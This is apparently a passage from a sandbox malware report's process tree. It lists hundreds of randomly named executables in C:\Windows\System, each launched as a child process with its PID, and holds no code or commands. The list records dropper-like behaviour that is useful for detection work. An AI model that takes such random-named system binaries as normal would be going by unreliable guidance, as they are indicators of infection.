  C:\Windows\System\ckctBgx.exe
  2⤵
  PID:7632
- C:\Windows\System\EqBgyiv.exe
  C:\Windows\System\EqBgyiv.exe
  2⤵
  PID:320
- C:\Windows\System\mqoVglO.exe
  C:\Windows\System\mqoVglO.exe
  2⤵
  PID:7768
- C:\Windows\System\rUvMiko.exe
  C:\Windows\System\rUvMiko.exe
  2⤵
  PID:7824
- C:\Windows\System\BKDBOfA.exe
  C:\Windows\System\BKDBOfA.exe
  2⤵
  PID:7892
- C:\Windows\System\tliAaJc.exe
  C:\Windows\System\tliAaJc.exe
  2⤵
  PID:7952
- C:\Windows\System\HqEFToQ.exe
  C:\Windows\System\HqEFToQ.exe
  2⤵
  PID:8008
- C:\Windows\System\QzMTPba.exe
  C:\Windows\System\QzMTPba.exe
  2⤵
  PID:8080
- C:\Windows\System\awEtWJu.exe
  C:\Windows\System\awEtWJu.exe
  2⤵
  PID:7372
- C:\Windows\System\PogAqGG.exe
  C:\Windows\System\PogAqGG.exe
  2⤵
  PID:7172
- C:\Windows\System\RWCRgAF.exe
  C:\Windows\System\RWCRgAF.exe
  2⤵
  PID:7316
- C:\Windows\System\ikvaEGU.exe
  C:\Windows\System\ikvaEGU.exe
  2⤵
  PID:7480
- C:\Windows\System\xltJWub.exe
  C:\Windows\System\xltJWub.exe
  2⤵
  PID:7600
- C:\Windows\System\FzLsNYy.exe
  C:\Windows\System\FzLsNYy.exe
  2⤵
  PID:7688
- C:\Windows\System\UPZsHGN.exe
  C:\Windows\System\UPZsHGN.exe
  2⤵
  PID:7800
- C:\Windows\System\EBnjIFz.exe
  C:\Windows\System\EBnjIFz.exe
  2⤵
  PID:7980
- C:\Windows\System\TRDaaPj.exe
  C:\Windows\System\TRDaaPj.exe
  2⤵
  PID:8120
- C:\Windows\System\nbwqMKC.exe
  C:\Windows\System\nbwqMKC.exe
  2⤵
  PID:7308
- C:\Windows\System\gFHflBv.exe
  C:\Windows\System\gFHflBv.exe
  2⤵
  PID:5076
- C:\Windows\System\zTSSWFh.exe
  C:\Windows\System\zTSSWFh.exe
  2⤵
  PID:7940
- C:\Windows\System\PzeVXuf.exe
  C:\Windows\System\PzeVXuf.exe
  2⤵
  PID:7436
- C:\Windows\System\FRrMiEg.exe
  C:\Windows\System\FRrMiEg.exe
  2⤵
  PID:7888
- C:\Windows\System\RbhZvLt.exe
  C:\Windows\System\RbhZvLt.exe
  2⤵
  PID:8196
- C:\Windows\System\VtwcXrR.exe
  C:\Windows\System\VtwcXrR.exe
  2⤵
  PID:8224
- C:\Windows\System\xkfxFNR.exe
  C:\Windows\System\xkfxFNR.exe
  2⤵
  PID:8252
- C:\Windows\System\nazzTxv.exe
  C:\Windows\System\nazzTxv.exe
  2⤵
  PID:8280
- C:\Windows\System\RaGknZW.exe
  C:\Windows\System\RaGknZW.exe
  2⤵
  PID:8308
- C:\Windows\System\TpByyzo.exe
  C:\Windows\System\TpByyzo.exe
  2⤵
  PID:8336
- C:\Windows\System\ztspGnY.exe
  C:\Windows\System\ztspGnY.exe
  2⤵
  PID:8372
- C:\Windows\System\ssAAiMr.exe
  C:\Windows\System\ssAAiMr.exe
  2⤵
  PID:8400
- C:\Windows\System\ZowRFkE.exe
  C:\Windows\System\ZowRFkE.exe
  2⤵
  PID:8428
- C:\Windows\System\JwGbFGa.exe
  C:\Windows\System\JwGbFGa.exe
  2⤵
  PID:8456
- C:\Windows\System\IvPcDKp.exe
  C:\Windows\System\IvPcDKp.exe
  2⤵
  PID:8484
- C:\Windows\System\bjPVsJc.exe
  C:\Windows\System\bjPVsJc.exe
  2⤵
  PID:8512
- C:\Windows\System\jNlHtOH.exe
  C:\Windows\System\jNlHtOH.exe
  2⤵
  PID:8540
- C:\Windows\System\liIDTdR.exe
  C:\Windows\System\liIDTdR.exe
  2⤵
  PID:8568
- C:\Windows\System\lwkbvNa.exe
  C:\Windows\System\lwkbvNa.exe
  2⤵
  PID:8596
- C:\Windows\System\knchjkM.exe
  C:\Windows\System\knchjkM.exe
  2⤵
  PID:8624
- C:\Windows\System\tSryyhe.exe
  C:\Windows\System\tSryyhe.exe
  2⤵
  PID:8652
- C:\Windows\System\YOmhwOF.exe
  C:\Windows\System\YOmhwOF.exe
  2⤵
  PID:8680
- C:\Windows\System\qZtpAPp.exe
  C:\Windows\System\qZtpAPp.exe
  2⤵
  PID:8708
- C:\Windows\System\VxfPtMm.exe
  C:\Windows\System\VxfPtMm.exe
  2⤵
  PID:8736
- C:\Windows\System\gjlvqjg.exe
  C:\Windows\System\gjlvqjg.exe
  2⤵
  PID:8764
- C:\Windows\System\BWBzUqi.exe
  C:\Windows\System\BWBzUqi.exe
  2⤵
  PID:8792
- C:\Windows\System\molZiAX.exe
  C:\Windows\System\molZiAX.exe
  2⤵
  PID:8820
- C:\Windows\System\mMwRTRm.exe
  C:\Windows\System\mMwRTRm.exe
  2⤵
  PID:8848
- C:\Windows\System\mEmHkvk.exe
  C:\Windows\System\mEmHkvk.exe
  2⤵
  PID:8880
- C:\Windows\System\ozZihXm.exe
  C:\Windows\System\ozZihXm.exe
  2⤵
  PID:8912
- C:\Windows\System\seNqeGw.exe
  C:\Windows\System\seNqeGw.exe
  2⤵
  PID:8940
- C:\Windows\System\aKGSqAz.exe
  C:\Windows\System\aKGSqAz.exe
  2⤵
  PID:8968
- C:\Windows\System\omzvcBp.exe
  C:\Windows\System\omzvcBp.exe
  2⤵
  PID:8996
- C:\Windows\System\WZrsLgw.exe
  C:\Windows\System\WZrsLgw.exe
  2⤵
  PID:9024
- C:\Windows\System\yCZHuEd.exe
  C:\Windows\System\yCZHuEd.exe
  2⤵
  PID:9052
- C:\Windows\System\pmiBiyq.exe
  C:\Windows\System\pmiBiyq.exe
  2⤵
  PID:9080
- C:\Windows\System\yTCNBOb.exe
  C:\Windows\System\yTCNBOb.exe
  2⤵
  PID:9108
- C:\Windows\System\BwUnosv.exe
  C:\Windows\System\BwUnosv.exe
  2⤵
  PID:9136
- C:\Windows\System\HQvwQRY.exe
  C:\Windows\System\HQvwQRY.exe
  2⤵
  PID:9164
- C:\Windows\System\KChXWkU.exe
  C:\Windows\System\KChXWkU.exe
  2⤵
  PID:9192
- C:\Windows\System\lpaZGds.exe
  C:\Windows\System\lpaZGds.exe
  2⤵
  PID:8208
- C:\Windows\System\afLaNti.exe
  C:\Windows\System\afLaNti.exe
  2⤵
  PID:8272
- C:\Windows\System\dJMsNyB.exe
  C:\Windows\System\dJMsNyB.exe
  2⤵
  PID:8332
- C:\Windows\System\rNbFgqS.exe
  C:\Windows\System\rNbFgqS.exe
  2⤵
  PID:8412
- C:\Windows\System\CDjYghA.exe
  C:\Windows\System\CDjYghA.exe
  2⤵
  PID:8476
- C:\Windows\System\mMBkilV.exe
  C:\Windows\System\mMBkilV.exe
  2⤵
  PID:8532
- C:\Windows\System\qcDibsZ.exe
  C:\Windows\System\qcDibsZ.exe
  2⤵
  PID:8592
- C:\Windows\System\meotFjO.exe
  C:\Windows\System\meotFjO.exe
  2⤵
  PID:8664
- C:\Windows\System\OxaTePa.exe
  C:\Windows\System\OxaTePa.exe
  2⤵
  PID:8728
- C:\Windows\System\atqkmTT.exe
  C:\Windows\System\atqkmTT.exe
  2⤵
  PID:8788
- C:\Windows\System\XYxkgqP.exe
  C:\Windows\System\XYxkgqP.exe
  2⤵
  PID:8864
- C:\Windows\System\Ymftduo.exe
  C:\Windows\System\Ymftduo.exe
  2⤵
  PID:3668
- C:\Windows\System\CuqNXqc.exe
  C:\Windows\System\CuqNXqc.exe
  2⤵
  PID:8988
- C:\Windows\System\ZWEGViu.exe
  C:\Windows\System\ZWEGViu.exe
  2⤵
  PID:3544
- C:\Windows\System\pTOjjun.exe
  C:\Windows\System\pTOjjun.exe
  2⤵
  PID:9100
- C:\Windows\System\oGYkrYS.exe
  C:\Windows\System\oGYkrYS.exe
  2⤵
  PID:9160
- C:\Windows\System\SZYbupe.exe
  C:\Windows\System\SZYbupe.exe
  2⤵
  PID:8236
- C:\Windows\System\lNnWjDx.exe
  C:\Windows\System\lNnWjDx.exe
  2⤵
  PID:8388
- C:\Windows\System\LAcnQNt.exe
  C:\Windows\System\LAcnQNt.exe
  2⤵
  PID:7684
- C:\Windows\System\BHdkBXo.exe
  C:\Windows\System\BHdkBXo.exe
  2⤵
  PID:8704
- C:\Windows\System\oVRDndg.exe
  C:\Windows\System\oVRDndg.exe
  2⤵
  PID:8832
- C:\Windows\System\qeQXXUl.exe
  C:\Windows\System\qeQXXUl.exe
  2⤵
  PID:8980
- C:\Windows\System\XTmRFRO.exe
  C:\Windows\System\XTmRFRO.exe
  2⤵
  PID:9128
- C:\Windows\System\IUFoVDM.exe
  C:\Windows\System\IUFoVDM.exe
  2⤵
  PID:8328
- C:\Windows\System\DhlcEYC.exe
  C:\Windows\System\DhlcEYC.exe
  2⤵
  PID:8648
- C:\Windows\System\CSwZIWx.exe
  C:\Windows\System\CSwZIWx.exe
  2⤵
  PID:4520
- C:\Windows\System\CWGzszY.exe
  C:\Windows\System\CWGzszY.exe
  2⤵
  PID:8300
- C:\Windows\System\bnkMebv.exe
  C:\Windows\System\bnkMebv.exe
  2⤵
  PID:8964
- C:\Windows\System\kLGTGza.exe
  C:\Windows\System\kLGTGza.exe
  2⤵
  PID:8064
- C:\Windows\System\INIBKTZ.exe
  C:\Windows\System\INIBKTZ.exe
  2⤵
  PID:9236
- C:\Windows\System\hvZgLDs.exe
  C:\Windows\System\hvZgLDs.exe
  2⤵
  PID:9252
- C:\Windows\System\rdonmuf.exe
  C:\Windows\System\rdonmuf.exe
  2⤵
  PID:9280
- C:\Windows\System\CDRarNH.exe
  C:\Windows\System\CDRarNH.exe
  2⤵
  PID:9300
- C:\Windows\System\YEyGBXE.exe
  C:\Windows\System\YEyGBXE.exe
  2⤵
  PID:9336
- C:\Windows\System\BNRFuYG.exe
  C:\Windows\System\BNRFuYG.exe
  2⤵
  PID:9364
- C:\Windows\System\VtduJXv.exe
  C:\Windows\System\VtduJXv.exe
  2⤵
  PID:9408
- C:\Windows\System\igjXoBB.exe
  C:\Windows\System\igjXoBB.exe
  2⤵
  PID:9428
- C:\Windows\System\DbwWaEl.exe
  C:\Windows\System\DbwWaEl.exe
  2⤵
  PID:9452
- C:\Windows\System\ckpnpIB.exe
  C:\Windows\System\ckpnpIB.exe
  2⤵
  PID:9484
- C:\Windows\System\KfkrdKN.exe
  C:\Windows\System\KfkrdKN.exe
  2⤵
  PID:9508
- C:\Windows\System\mEOwuRH.exe
  C:\Windows\System\mEOwuRH.exe
  2⤵
  PID:9540
- C:\Windows\System\vVzLDiZ.exe
  C:\Windows\System\vVzLDiZ.exe
  2⤵
  PID:9576
- C:\Windows\System\eStiCze.exe
  C:\Windows\System\eStiCze.exe
  2⤵
  PID:9604
- C:\Windows\System\SMkdFjI.exe
  C:\Windows\System\SMkdFjI.exe
  2⤵
  PID:9632
- C:\Windows\System\ehDgZAu.exe
  C:\Windows\System\ehDgZAu.exe
  2⤵
  PID:9660
- C:\Windows\System\LlxzKKR.exe
  C:\Windows\System\LlxzKKR.exe
  2⤵
  PID:9688
- C:\Windows\System\JfsobTk.exe
  C:\Windows\System\JfsobTk.exe
  2⤵
  PID:9716
- C:\Windows\System\CNzaHMT.exe
  C:\Windows\System\CNzaHMT.exe
  2⤵
  PID:9740
- C:\Windows\System\exTuWUf.exe
  C:\Windows\System\exTuWUf.exe
  2⤵
  PID:9772
- C:\Windows\System\BKItVTe.exe
  C:\Windows\System\BKItVTe.exe
  2⤵
  PID:9800
- C:\Windows\System\CiGhnYl.exe
  C:\Windows\System\CiGhnYl.exe
  2⤵
  PID:9828
- C:\Windows\System\zvLyEjy.exe
  C:\Windows\System\zvLyEjy.exe
  2⤵
  PID:9856
- C:\Windows\System\WvmNYYR.exe
  C:\Windows\System\WvmNYYR.exe
  2⤵
  PID:9884
- C:\Windows\System\HzLiSKz.exe
  C:\Windows\System\HzLiSKz.exe
  2⤵
  PID:9912
- C:\Windows\System\vYkEYpP.exe
  C:\Windows\System\vYkEYpP.exe
  2⤵
  PID:9940
- C:\Windows\System\BqBKSCJ.exe
  C:\Windows\System\BqBKSCJ.exe
  2⤵
  PID:9968
- C:\Windows\System\pCUHiyQ.exe
  C:\Windows\System\pCUHiyQ.exe
  2⤵
  PID:9996
- C:\Windows\System\ZFCqOwJ.exe
  C:\Windows\System\ZFCqOwJ.exe
  2⤵
  PID:10024
- C:\Windows\System\hSNFJPT.exe
  C:\Windows\System\hSNFJPT.exe
  2⤵
  PID:10052
- C:\Windows\System\VcnQdCC.exe
  C:\Windows\System\VcnQdCC.exe
  2⤵
  PID:10080
- C:\Windows\System\ruIRiKX.exe
  C:\Windows\System\ruIRiKX.exe
  2⤵
  PID:10108
- C:\Windows\System\ScLzrNj.exe
  C:\Windows\System\ScLzrNj.exe
  2⤵
  PID:10136
- C:\Windows\System\PeSJoGV.exe
  C:\Windows\System\PeSJoGV.exe
  2⤵
  PID:10164
- C:\Windows\System\iyibZUY.exe
  C:\Windows\System\iyibZUY.exe
  2⤵
  PID:10192
- C:\Windows\System\mRiTDkT.exe
  C:\Windows\System\mRiTDkT.exe
  2⤵
  PID:10220
- C:\Windows\System\ASKwDhF.exe
  C:\Windows\System\ASKwDhF.exe
  2⤵
  PID:9248
- C:\Windows\System\ldvmVuX.exe
  C:\Windows\System\ldvmVuX.exe
  2⤵
  PID:9288
- C:\Windows\System\dYVzdlc.exe
  C:\Windows\System\dYVzdlc.exe
  2⤵
  PID:9360
- C:\Windows\System\HDGWoZy.exe
  C:\Windows\System\HDGWoZy.exe
  2⤵
  PID:9416
- C:\Windows\System\FdUMxWq.exe
  C:\Windows\System\FdUMxWq.exe
  2⤵
  PID:9504
- C:\Windows\System\uGYshTx.exe
  C:\Windows\System\uGYshTx.exe
  2⤵
  PID:9568
- C:\Windows\System\PNfEpgu.exe
  C:\Windows\System\PNfEpgu.exe
  2⤵
  PID:9620
- C:\Windows\System\HwNDjjm.exe
  C:\Windows\System\HwNDjjm.exe
  2⤵
  PID:9684
- C:\Windows\System\kZdbSKj.exe
  C:\Windows\System\kZdbSKj.exe
  2⤵
  PID:9756
- C:\Windows\System\IDCbQOg.exe
  C:\Windows\System\IDCbQOg.exe
  2⤵
  PID:9820
- C:\Windows\System\IrHdvag.exe
  C:\Windows\System\IrHdvag.exe
  2⤵
  PID:9880
- C:\Windows\System\pkkpMSL.exe
  C:\Windows\System\pkkpMSL.exe
  2⤵
  PID:9952
- C:\Windows\System\ntZuvTf.exe
  C:\Windows\System\ntZuvTf.exe
  2⤵
  PID:10016
- C:\Windows\System\IPbHUms.exe
  C:\Windows\System\IPbHUms.exe
  2⤵
  PID:10076
- C:\Windows\System\AILjiRI.exe
  C:\Windows\System\AILjiRI.exe
  2⤵
  PID:10148
- C:\Windows\System\ACrLeoH.exe
  C:\Windows\System\ACrLeoH.exe
  2⤵
  PID:10216
- C:\Windows\System\aFASrNE.exe
  C:\Windows\System\aFASrNE.exe
  2⤵
  PID:9320
- C:\Windows\System\VOjNoBS.exe
  C:\Windows\System\VOjNoBS.exe
  2⤵
  PID:9464
- C:\Windows\System\zwBmrha.exe
  C:\Windows\System\zwBmrha.exe
  2⤵
  PID:9600
- C:\Windows\System\nxhqIUm.exe
  C:\Windows\System\nxhqIUm.exe
  2⤵
  PID:9748
- C:\Windows\System\eUPsitY.exe
  C:\Windows\System\eUPsitY.exe
  2⤵
  PID:9932
- C:\Windows\System\NFUGrhd.exe
  C:\Windows\System\NFUGrhd.exe
  2⤵
  PID:10072
- C:\Windows\System\dnjlgRh.exe
  C:\Windows\System\dnjlgRh.exe
  2⤵
  PID:9228
- C:\Windows\System\WthqZiu.exe
  C:\Windows\System\WthqZiu.exe
  2⤵
  PID:9532
- C:\Windows\System\pfrgIEj.exe
  C:\Windows\System\pfrgIEj.exe
  2⤵
  PID:9908
- C:\Windows\System\fTmFnly.exe
  C:\Windows\System\fTmFnly.exe
  2⤵
  PID:9384
- C:\Windows\System\dGUppFG.exe
  C:\Windows\System\dGUppFG.exe
  2⤵
  PID:10204
- C:\Windows\System\zaOlJzp.exe
  C:\Windows\System\zaOlJzp.exe
  2⤵
  PID:10248
- C:\Windows\System\gJfhpaI.exe
  C:\Windows\System\gJfhpaI.exe
  2⤵
  PID:10276
- C:\Windows\System\GTFSjkG.exe
  C:\Windows\System\GTFSjkG.exe
  2⤵
  PID:10304
- C:\Windows\System\WuoflgI.exe
  C:\Windows\System\WuoflgI.exe
  2⤵
  PID:10332
- C:\Windows\System\nqGZNHU.exe
  C:\Windows\System\nqGZNHU.exe
  2⤵
  PID:10360
- C:\Windows\System\creChgF.exe
  C:\Windows\System\creChgF.exe
  2⤵
  PID:10400
- C:\Windows\System\Hsioglv.exe
  C:\Windows\System\Hsioglv.exe
  2⤵
  PID:10416
- C:\Windows\System\YGsRjmX.exe
  C:\Windows\System\YGsRjmX.exe
  2⤵
  PID:10444
- C:\Windows\System\qtmhgTU.exe
  C:\Windows\System\qtmhgTU.exe
  2⤵
  PID:10472
- C:\Windows\System\PbEfTkc.exe
  C:\Windows\System\PbEfTkc.exe
  2⤵
  PID:10500
- C:\Windows\System\KtBMich.exe
  C:\Windows\System\KtBMich.exe
  2⤵
  PID:10528
- C:\Windows\System\lNtJAXN.exe
  C:\Windows\System\lNtJAXN.exe
  2⤵
  PID:10556
- C:\Windows\System\yPsLDuD.exe
  C:\Windows\System\yPsLDuD.exe
  2⤵
  PID:10584
- C:\Windows\System\cuCiwAa.exe
  C:\Windows\System\cuCiwAa.exe
  2⤵
  PID:10612
- C:\Windows\System\TLWJmNl.exe
  C:\Windows\System\TLWJmNl.exe
  2⤵
  PID:10628
- C:\Windows\System\xtffiUg.exe
  C:\Windows\System\xtffiUg.exe
  2⤵
  PID:10664
- C:\Windows\System\nmHiwUL.exe
  C:\Windows\System\nmHiwUL.exe
  2⤵
  PID:10684
- C:\Windows\System\wpNnbUW.exe
  C:\Windows\System\wpNnbUW.exe
  2⤵
  PID:10724
- C:\Windows\System\ZJWFKHH.exe
  C:\Windows\System\ZJWFKHH.exe
  2⤵
  PID:10756
- C:\Windows\System\xrCpKAW.exe
  C:\Windows\System\xrCpKAW.exe
  2⤵
  PID:10784
- C:\Windows\System\ssYjgLz.exe
  C:\Windows\System\ssYjgLz.exe
  2⤵
  PID:10812
- C:\Windows\System\tpeuwZc.exe
  C:\Windows\System\tpeuwZc.exe
  2⤵
  PID:10840
- C:\Windows\System\VzrkRQk.exe
  C:\Windows\System\VzrkRQk.exe
  2⤵
  PID:10868
- C:\Windows\System\FDAscNq.exe
  C:\Windows\System\FDAscNq.exe
  2⤵
  PID:10896
- C:\Windows\System\xAakNeD.exe
  C:\Windows\System\xAakNeD.exe
  2⤵
  PID:10924
- C:\Windows\System\ICDZefg.exe
  C:\Windows\System\ICDZefg.exe
  2⤵
  PID:10952
- C:\Windows\System\HeNwCLO.exe
  C:\Windows\System\HeNwCLO.exe
  2⤵
  PID:10980
- C:\Windows\System\vtpGPdd.exe
  C:\Windows\System\vtpGPdd.exe
  2⤵
  PID:11008
- C:\Windows\System\XmIUfdv.exe
  C:\Windows\System\XmIUfdv.exe
  2⤵
  PID:11036
- C:\Windows\System\jQkxPwg.exe
  C:\Windows\System\jQkxPwg.exe
  2⤵
  PID:11064
- C:\Windows\System\KBpXEzb.exe
  C:\Windows\System\KBpXEzb.exe
  2⤵
  PID:11092
- C:\Windows\System\ePeAAQF.exe
  C:\Windows\System\ePeAAQF.exe
  2⤵
  PID:11120
- C:\Windows\System\fMqEcXd.exe
  C:\Windows\System\fMqEcXd.exe
  2⤵
  PID:11148
- C:\Windows\System\ZNIdJpC.exe
  C:\Windows\System\ZNIdJpC.exe
  2⤵
  PID:11176
- C:\Windows\System\AgffKmZ.exe
  C:\Windows\System\AgffKmZ.exe
  2⤵
  PID:11204
- C:\Windows\System\cYXLaAb.exe
  C:\Windows\System\cYXLaAb.exe
  2⤵
  PID:11232
- C:\Windows\System\ECZfnOX.exe
  C:\Windows\System\ECZfnOX.exe
  2⤵
  PID:11260
- C:\Windows\System\afoNpCd.exe
  C:\Windows\System\afoNpCd.exe
  2⤵
  PID:10296
- C:\Windows\System\fmmPhon.exe
  C:\Windows\System\fmmPhon.exe
  2⤵
  PID:10356
- C:\Windows\System\oAWDNXa.exe
  C:\Windows\System\oAWDNXa.exe
  2⤵
  PID:10188
- C:\Windows\System\XuNzplu.exe
  C:\Windows\System\XuNzplu.exe
  2⤵
  PID:10484
- C:\Windows\System\dLWKXGj.exe
  C:\Windows\System\dLWKXGj.exe
  2⤵
  PID:10548
- C:\Windows\System\SHwwpwF.exe
  C:\Windows\System\SHwwpwF.exe
  2⤵
  PID:10604
- C:\Windows\System\HqbEyxl.exe
  C:\Windows\System\HqbEyxl.exe
  2⤵
  PID:10672
- C:\Windows\System\VjPgjum.exe
  C:\Windows\System\VjPgjum.exe
  2⤵
  PID:10744
- C:\Windows\System\RIxrkne.exe
  C:\Windows\System\RIxrkne.exe
  2⤵
  PID:10808
- C:\Windows\System\sGfeNSY.exe
  C:\Windows\System\sGfeNSY.exe
  2⤵
  PID:10880
- C:\Windows\System\NpsBEQo.exe
  C:\Windows\System\NpsBEQo.exe
  2⤵
  PID:10944
- C:\Windows\System\noHcuKn.exe
  C:\Windows\System\noHcuKn.exe
  2⤵
  PID:10992
- C:\Windows\System\udxFPCD.exe
  C:\Windows\System\udxFPCD.exe
  2⤵
  PID:11076
- C:\Windows\System\FACVkFJ.exe
  C:\Windows\System\FACVkFJ.exe
  2⤵
  PID:11140
- C:\Windows\System\vQjRpUQ.exe
  C:\Windows\System\vQjRpUQ.exe
  2⤵
  PID:11200
- C:\Windows\System\XfVtLXt.exe
  C:\Windows\System\XfVtLXt.exe
  2⤵
  PID:10260
- C:\Windows\System\EfMuwrB.exe
  C:\Windows\System\EfMuwrB.exe
  2⤵
  PID:10408
- C:\Windows\System\aCOqJSY.exe
  C:\Windows\System\aCOqJSY.exe
  2⤵
  PID:10540
- C:\Windows\System\VyzFdac.exe
  C:\Windows\System\VyzFdac.exe
  2⤵
  PID:10704
- C:\Windows\System\SMFsCFO.exe
  C:\Windows\System\SMFsCFO.exe
  2⤵
  PID:10860
- C:\Windows\System\TCnkgxb.exe
  C:\Windows\System\TCnkgxb.exe
  2⤵
  PID:10996
- C:\Windows\System\PokogIs.exe
  C:\Windows\System\PokogIs.exe
  2⤵
  PID:11168
- C:\Windows\System\JdszXoE.exe
  C:\Windows\System\JdszXoE.exe
  2⤵
  PID:10752
- C:\Windows\System\XhvCSmJ.exe
  C:\Windows\System\XhvCSmJ.exe
  2⤵
  PID:10656
- C:\Windows\System\XAVyxPs.exe
  C:\Windows\System\XAVyxPs.exe
  2⤵
  PID:11004
- C:\Windows\System\UTzzfzE.exe
  C:\Windows\System\UTzzfzE.exe
  2⤵
  PID:10464
- C:\Windows\System\gFGEitO.exe
  C:\Windows\System\gFGEitO.exe
  2⤵
  PID:10328
- C:\Windows\System\UsuCiNG.exe
  C:\Windows\System\UsuCiNG.exe
  2⤵
  PID:11280
- C:\Windows\System\iirBSnM.exe
  C:\Windows\System\iirBSnM.exe
  2⤵
  PID:11308
- C:\Windows\System\gkEFzLV.exe
  C:\Windows\System\gkEFzLV.exe
  2⤵
  PID:11336
- C:\Windows\System\QRNLOjE.exe
  C:\Windows\System\QRNLOjE.exe
  2⤵
  PID:11364
- C:\Windows\System\FlKSTgW.exe
  C:\Windows\System\FlKSTgW.exe
  2⤵
  PID:11392
- C:\Windows\System\DjnifFt.exe
  C:\Windows\System\DjnifFt.exe
  2⤵
  PID:11420
- C:\Windows\System\HlzjfLm.exe
  C:\Windows\System\HlzjfLm.exe
  2⤵
  PID:11448
- C:\Windows\System\IoKZFXz.exe
  C:\Windows\System\IoKZFXz.exe
  2⤵
  PID:11476
- C:\Windows\System\BuBmSuy.exe
  C:\Windows\System\BuBmSuy.exe
  2⤵
  PID:11504
- C:\Windows\System\jXymurj.exe
  C:\Windows\System\jXymurj.exe
  2⤵
  PID:11532
- C:\Windows\System\pjYHWrN.exe
  C:\Windows\System\pjYHWrN.exe
  2⤵
  PID:11560
- C:\Windows\System\udDawxi.exe
  C:\Windows\System\udDawxi.exe
  2⤵
  PID:11588
- C:\Windows\System\LDBTyiM.exe
  C:\Windows\System\LDBTyiM.exe
  2⤵
  PID:11616
- C:\Windows\System\Buetjmi.exe
  C:\Windows\System\Buetjmi.exe
  2⤵
  PID:11644
- C:\Windows\System\SPgbDTV.exe
  C:\Windows\System\SPgbDTV.exe
  2⤵
  PID:11672
- C:\Windows\System\AUHrXXt.exe
  C:\Windows\System\AUHrXXt.exe
  2⤵
  PID:11700
- C:\Windows\System\SifDtIz.exe
  C:\Windows\System\SifDtIz.exe
  2⤵
  PID:11728
- C:\Windows\System\utMonhj.exe
  C:\Windows\System\utMonhj.exe
  2⤵
  PID:11756
- C:\Windows\System\KYqzbMK.exe
  C:\Windows\System\KYqzbMK.exe
  2⤵
  PID:11784
- C:\Windows\System\QJSDDZb.exe
  C:\Windows\System\QJSDDZb.exe
  2⤵
  PID:11812
- C:\Windows\System\QTXViUu.exe
  C:\Windows\System\QTXViUu.exe
  2⤵
  PID:11840
- C:\Windows\System\TDJsDzM.exe
  C:\Windows\System\TDJsDzM.exe
  2⤵
  PID:11864
- C:\Windows\System\bLoPUty.exe
  C:\Windows\System\bLoPUty.exe
  2⤵
  PID:11884
- C:\Windows\System\EfvtjMi.exe
  C:\Windows\System\EfvtjMi.exe
  2⤵
  PID:11924
- C:\Windows\System\jESGwkg.exe
  C:\Windows\System\jESGwkg.exe
  2⤵
  PID:11952
- C:\Windows\System\ZDZhual.exe
  C:\Windows\System\ZDZhual.exe
  2⤵
  PID:11992
- C:\Windows\System\IhUFLHl.exe
  C:\Windows\System\IhUFLHl.exe
  2⤵
  PID:12012
- C:\Windows\System\tCotZsL.exe
  C:\Windows\System\tCotZsL.exe
  2⤵
  PID:12028
- C:\Windows\System\qDNfXfD.exe
  C:\Windows\System\qDNfXfD.exe
  2⤵
  PID:12056
- C:\Windows\System\UqSXopZ.exe
  C:\Windows\System\UqSXopZ.exe
  2⤵
  PID:12088
- C:\Windows\System\ieGoJst.exe
  C:\Windows\System\ieGoJst.exe
  2⤵
  PID:12120
- C:\Windows\System\gnzKhew.exe
  C:\Windows\System\gnzKhew.exe
  2⤵
  PID:12152
- C:\Windows\System\yZxLXsR.exe
  C:\Windows\System\yZxLXsR.exe
  2⤵
  PID:12176
- C:\Windows\System\puvZVMO.exe
  C:\Windows\System\puvZVMO.exe
  2⤵
  PID:12196
- C:\Windows\System\bPrHjUm.exe
  C:\Windows\System\bPrHjUm.exe
  2⤵
  PID:12224
- C:\Windows\System\KZTerVr.exe
  C:\Windows\System\KZTerVr.exe
  2⤵
  PID:12248
- C:\Windows\System\LLdteGW.exe
  C:\Windows\System\LLdteGW.exe
  2⤵
  PID:11276
- C:\Windows\System\yPLXtcU.exe
  C:\Windows\System\yPLXtcU.exe
  2⤵
  PID:4312
- C:\Windows\System\JbpAeGB.exe
  C:\Windows\System\JbpAeGB.exe
  2⤵
  PID:11384
- C:\Windows\System\YYNYMnU.exe
  C:\Windows\System\YYNYMnU.exe
  2⤵
  PID:11460
- C:\Windows\System\WUgUPqg.exe
  C:\Windows\System\WUgUPqg.exe
  2⤵
  PID:11496
- C:\Windows\System\xWRCoMY.exe
  C:\Windows\System\xWRCoMY.exe
  2⤵
  PID:11528
- C:\Windows\System\rBRKYsd.exe
  C:\Windows\System\rBRKYsd.exe
  2⤵
  PID:11584
- C:\Windows\System\GyuTxUJ.exe
  C:\Windows\System\GyuTxUJ.exe
  2⤵
  PID:11636
- C:\Windows\System\tffDSDL.exe
  C:\Windows\System\tffDSDL.exe
  2⤵
  PID:11712
- C:\Windows\System\txYBHLL.exe
  C:\Windows\System\txYBHLL.exe
  2⤵
  PID:11776
- C:\Windows\System\XTkseru.exe
  C:\Windows\System\XTkseru.exe
  2⤵
  PID:11860
- C:\Windows\System\TEIIIhl.exe
  C:\Windows\System\TEIIIhl.exe
  2⤵
  PID:11916
- C:\Windows\System\MwZzZOy.exe
  C:\Windows\System\MwZzZOy.exe
  2⤵
  PID:12000
- C:\Windows\System\HSnwfdc.exe
  C:\Windows\System\HSnwfdc.exe
  2⤵
  PID:12044
- C:\Windows\System\jVfQLye.exe
  C:\Windows\System\jVfQLye.exe
  2⤵
  PID:12168
- C:\Windows\System\lWfkyHW.exe
  C:\Windows\System\lWfkyHW.exe
  2⤵
  PID:12204
- C:\Windows\System\rIRQSDD.exe
  C:\Windows\System\rIRQSDD.exe
  2⤵
  PID:11256
- C:\Windows\System\UclxmFh.exe
  C:\Windows\System\UclxmFh.exe
  2⤵
  PID:11332
- C:\Windows\System\JWpbGTh.exe
  C:\Windows\System\JWpbGTh.exe
  2⤵
  PID:2648
- C:\Windows\System\ZZfKuZe.exe
  C:\Windows\System\ZZfKuZe.exe
  2⤵
  PID:11516
- C:\Windows\System\ghOlVlD.exe
  C:\Windows\System\ghOlVlD.exe
  2⤵
  PID:11804
- C:\Windows\System\SRCNMgW.exe
  C:\Windows\System\SRCNMgW.exe
  2⤵
  PID:11904
- C:\Windows\System\XjmctCA.exe
  C:\Windows\System\XjmctCA.exe
  2⤵
  PID:12080
- C:\Windows\System\sWegAkO.exe
  C:\Windows\System\sWegAkO.exe
  2⤵
  PID:12232
- C:\Windows\System\UfAXmho.exe
  C:\Windows\System\UfAXmho.exe
  2⤵
  PID:11360
- C:\Windows\System\znUIfGu.exe
  C:\Windows\System\znUIfGu.exe
  2⤵
  PID:11752
- C:\Windows\System\IyrwEub.exe
  C:\Windows\System\IyrwEub.exe
  2⤵
